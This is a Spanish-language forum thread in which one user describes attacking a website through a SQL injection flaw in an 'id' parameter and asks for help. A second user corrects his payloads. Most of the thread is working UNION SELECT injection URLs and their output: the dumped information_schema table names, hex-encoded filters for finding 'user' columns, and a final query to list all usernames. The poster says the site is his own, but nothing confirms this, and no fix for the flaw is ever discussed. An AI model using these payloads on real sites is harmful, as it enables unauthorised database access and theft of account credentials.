Vulnerabilidad URL SQL Injection

Iniciado por WiseHidden, 26 Septiembre 2012, 00:15 AM

0 Miembros y 1 Visitante están viendo este tema.

WiseHidden

Muy buenas a todos.

Hace poco termine mi página web, y por seguridad escaneé para ver si encontraba alguna vulnerabilidad para poder protegerla mejor.

Al escanearla con el Famoso WebCruiser encontré una vulnerabilidad. (URL SQL INJECTION)

Preocupado por dicha vulnerabilidad empecé a investigar como solventar el susodicho fallo. Y me atreví a ponerla a prueba le inyecté un código para sacar el nombre de las tablas, una vez encontrada dichas tablas busqué lo que debia ser el adminitrador (Q porsupuesto sabia el nombre de tal) y de paso me di cuenta lo visible que era :) jaja cuestion, despues de obtener el nombre de administrador lo converti a ASCCI y lo inserté en la inyección del código, y he aquí la duda.

Despues de insertar todo el código, he aquí el mismo:

Citarhttp://www.xxxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char (28117,110,100,101,102,105,110,101,100)

me aparece solamente un 3.

Quizás pudiera guiarme o esclarecerme un poco mi duda, pues ya que conozco dicha vulnerabilidad me gustaría poder solventarla.

Muchisimas gracias de antemano
Atentamente
WiseHidden
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)

WiseHidden

71 visitas y nadie a podido aportar algo  :silbar:

Valla si que ha cambiado este foro, donde antes todo el mundo ayudaba cordialmente en las dudas de otros, yo mismo he participado en muchos temas orientando y aportando lo poquito que supiese.

Pero los ultimos 3 post q he escrito no he obtenido ni una respuesta....

Buenoooo pues nada a seguir probando e investigando por mi cuenta.

Un saludo a todos

Atentamente
WiseHidden
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)

Shell Root

jajaja lo único que se me ocurre es que podrías cambiar el,
Código (sql) [Seleccionar]
...select+1,GROUP_CONCAT(COLUMN_NAME),3,4,...
por
Código (sql) [Seleccionar]
...select+1,2,GROUP_CONCAT(COLUMN_NAME),4,...
ya que supongo que el "3" es del select :p
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.


WiseHidden

#4
Resultados de la Tabla 2:

CitarCHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_
SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,INNODB_BUFFER_POOL_CONTENT,
INDEX_STATISTICS,KEY_COLUMN_USAGE,PROCESSLIST,PROFILING,ROUTINES,
SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,
TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES,USER_STATISTICS
,VIEWS,INNODB_IO_PATTERN,INNODB_RSEG,ProcessSettings,about,admincms,application
,banner,banner2,brochure,careerHP,careers,categories,committees,contact,events,
expert,expert_content,hp_feature,ifra,join_rifm,kfm_directories,
kfm_files,kfm_files_images,kfm_files_images_thumbs,kfm_parameters,kfm_session,
kfm_session_vars,kfm_tagged_files,
kfm_tags,links,member_directory,member_list,members,members_hp,news,photos,
photos_cat,posters,press,presskit,pub_brochures,pub_feature,pub_reports,
publications,publications_cat,publications_hp,reach,reach_cat,rexpan,
science,scienceContent,sciencecat,scienceinfo,video,vision
3

Resultado Tabla 3
Citar2
CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_
SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,INNODB_BUFFER_POOL_CONTENT,
INDEX_STATISTICS,KEY_COLUMN_USAGE,PROCESSLIST,PROFILING,ROUTINES,
SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,
TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES,USER_STATISTICS
,VIEWS,INNODB_IO_PATTERN,INNODB_RSEG,ProcessSettings,about,admincms,application
,banner,banner2,brochure,careerHP,careers,categories,committees,contact,events,
expert,expert_content,hp_feature,ifra,join_rifm,kfm_directories,
kfm_files,kfm_files_images,kfm_files_images_thumbs,kfm_parameters,kfm_session,
kfm_session_vars,kfm_tagged_files,
kfm_tags,links,member_directory,member_list,members,members_hp,news,photos,
photos_cat,posters,press,presskit,pub_brochures,pub_feature,pub_reports,
publications,publications_cat,publications_hp,reach,reach_cat,rexpan,
science,scienceContent,sciencecat,scienceinfo,video,vision

Y en las dos realizo el mismo código y en la 2 me aparace un (3) y en la 3 me aparace un (2)

Pude ser que no haya descifrado el administrador bien?

* Es muy cantoso ver el administrador, para ponerlo a prueba intenten saber cual es.

- Se que estoy al último paso de hacerlo, pero me quedado estancado.

Os pondré paso a paso mi ataque para ver si he cometido algún error en el proceso.

Paso 1:
Me dirigo al navegador (En este caso Firefox) - Espero que esto no influya en el ataque.

Paso 2:
Escribo la url de mi web y le inyecto un código para averiguar las tablas.
www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,-- (Voy agregando números de menor a mayor consecutivamente hasta que me sale la página de tablas) en este caso llegé hasta el 12.
Citarwww.xxxxxxx.com/publications-details.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12
Y en la pantalla me muestra un 2 (Marcado en azul) y un 3 separado por un ("Intro")

Paso 3:
Con esta información pruebo a inyectarle de nuevo otro código agregandole lo siguiente:
Citarwww.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.tables
Dandome la pantalla como resultado el siguiente contenido:
Citar
CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,INNODB_BUFFER_POOL_CONTENT,INDEX_STATISTICS,KEY_COLUMN_USAGE,PROCESSLIST,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES,USER_STATISTICS,VIEWS,INNODB_IO_PATTERN,INNODB_RSEG,ProcessSettings,about,admincms,application,banner,banner2,brochure,careerHP,careers,categories,committees,contact,events,expert,expert_content,hp_feature,ifra,join_rifm,kfm_directories,kfm_files,kfm_files_images,kfm_files_images_thumbs,kfm_parameters,kfm_session,kfm_session_vars,kfm_tagged_files,kfm_tags,links,member_directory,member_list,members,members_hp,news,photos,photos_cat,posters,press,presskit,pub_brochures,pub_feature,pub_reports,publications,publications_cat,publications_hp,reach,reach_cat,rexpan,science,scienceContent,sciencecat,scienceinfo,video,vision
3

Paso 4:
Busco el nombre de adminitrador, y en caso de no saberlo busco algo referente a admi, admin, ect.... Para saber a cuál corresponde o tener una cierta referencia.

Paso 5:
Una vez tengamos el nombre me dirigo a una web donde te permita convertir cualquier palabra a ASCCI (Puede que aqui resida el fallo pues no se si se debe pasar exactamente a ASCII o a Hexadecimal) Yo me arriesgé con ASCII que es la que creo que sería. Dandome el siguiente resultado:
Citar117 110 100 101 102 105 110 101 100

Paso 6:
Le quito todos los espacios al resultado ASCII y lo sustituyo por una coma. Quedando tal así:
Citar117,110,100,101,102,105,110,101,100

Paso 7:
Teniendo estos resultados vuelvo a inyectar otro código más sustituyendo en el group_concat(table_name) por group_concat(column_name) y sustituyendo _schema.table por _schema.columns agregando ademas el siguiente código:
Citarwww.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+
where+table_name=char (117,110,100,101,102,105,110,101,100)

Y aquí cuando imagino que te debería dar los resultados que buscamos (Es decir los privilegios de nombre de administrador y su contraseña)

Viendo que no era así probé a realizar el mismo proceso sustituyendo la tabla 2 por la 3

Y obtengo el mismo resultado.
Asi que estaré haciendo algún paso mal. Por eso he puesto paso por paso una pequeña guía de mi proceso. Haber si alguien pudiera ver mi tropiezo.

Gracias por vuestra ayuda y orientación.

Un cordial saludo
Atentamente
WiseHidden


Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)

RevangelyonX

Buenas,

Lo que estás haciendo es:

where table_name = undefined (esa es la traducción ascii de los números que has puesto...)

Lo que creo es que no acabas de saber es como hacer la inyección en realidad.

column_name contiene nombres de campos, no sus registros en sí.

Por lo tanto si lo que quieres es buscar algo parecido a "admin" deberás primero buscar un campo que sea parecido a "user". Lo puedes realizar en hexadecimal, mucho más rapido.

group_concat(information_schema.columns.column_name) where information_schema.columns.column_name like %user%

Si tubieras que cambiar %user% por hexadecimal, utiliza concat().

Por ejemplo:

XXX like concat(0x25,0x75736572 ,0x25) //es hexadecimal, y equivale a %user%


Esto te debería de devolver todos los campos que contengan "user" como nombre de campo, a partir de aquí ya podrás buscar a que tabla pertenece ese campo y así indagar mejor.

Te adjunto un enlace de un documento que hice referente a SQL Injection bajo MySQL (de unas 50 páginas).

www.forohack.com/index2.php?Ver=Mensaje&Id=30977&WebOrigen=1

Salu2
Just Linux
OSCP certified

WiseHidden

CitarLo que creo es que no acabas de saber es como hacer la inyección en realidad.
Exacto. De hecho es la primera vez que lo intento. Otras veces me he tenido curiosidad y tal pero en cuanto trompezaba una y otra vez como ahora llegaba un momento en que desistía y abandonaba.
Pero ahora que está en riesgo mi trabajo y mi web (Pues llevo trabajando en ella cerca de un año para dejarla bien terminanda y cada cosa que iba aprendiendo se la iba añadiendo) pues creo que es la oportunidad y el momento de aprender en lleno.

CitarPor lo tanto si lo que quieres es buscar algo parecido a "admin" deberás primero buscar un campo que sea parecido a "user". Lo puedes realizar en hexadecimal, mucho más rapido.

group_concat(information_schema.columns.column_name) where information_schema.columns.column_name like %user%

Si tubieras que cambiar %user% por hexadecimal, utiliza concat().

Por ejemplo:

XXX like concat(0x25,0x75736572 ,0x25) //es hexadecimal, y equivale a %user%

Disculpa mi ignorancia, nosé si se debe al cansancio de llevar muchas horas currando o tal, o es que soy un poco torpe, pero podrias explicarmelo mas detalladamente? Partiendo por ejemplo de mi "url" mal habladamente como dices en tu tutorial para saber donde colocar exactamente el código y entenderlo mucho mejor.

Porcierto felicitaciones y mil gracias por la guía: Entendamos y Practiquemos
MySQL Injection

Le he hechado un ojo rapidísimo y tiene una pinta........ Vamos pienso leermelo y aprender todo cuanto pueda, se nota el trabajo que te ha tenido que llevar. :)

Muchas gracias por todo y alos demás tambien.

Un saludo
WiseHidden
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)

RevangelyonX

Hola
En primer lugar disculpa porque releyendo me he dado cuenta que me he dejado el FROM xD

Tu URL debería de queda así
www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(information_schema.columns.column_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+information_schema.columns.column_name like concat(0x25,0x75736572 ,0x25)

He modificado tu inyección con lo que te explicaba arriba.

Esto lo que debería de mostrar es todos los campos que contengan la palabra "user" (como nombre de campo)
Pero nada mas. Necesitamos saber en que tabla está cada campo (cada columna). Podemos utilizar el registro 3 para que nos lo muestre (todo esto está explicado en el tutorial)

Así pues modificamos la inyección


www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(information_schema.columns.column_name),group_concat(information_schema.columns.table_name),4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+information_schema.columns.column_name like concat(0x25,0x75736572 ,0x25)

Esto nos va a mostrar por un lado los campos (por ejemplo username) y sus tablas (por ejemplo usuarios)

Ahora ya podemos hacer la inyección que nos mostrará todos los usuarios (suponiendo que es el mismo schema)


www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(usuarios.username),3,4,5,6,7,8,9,10,11,12+from usuarios

Esto te mostrará todos los usuarios..

Te aconsejo leer el tutorial y luego revisar eo. Si algo no te queda claro comentalo.



Just Linux
OSCP certified

WiseHidden

Así lo haré leer la guía y luego repasaré esto, y si tengo alguna duda lo comentaré.

Muchas Gracias RevangelyonX Grandísimo aporte para todo el que este interesadoo :)


Ahora toca leer y aprender

Un saludoo a todos :)

Atentamente
WiseHidden
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)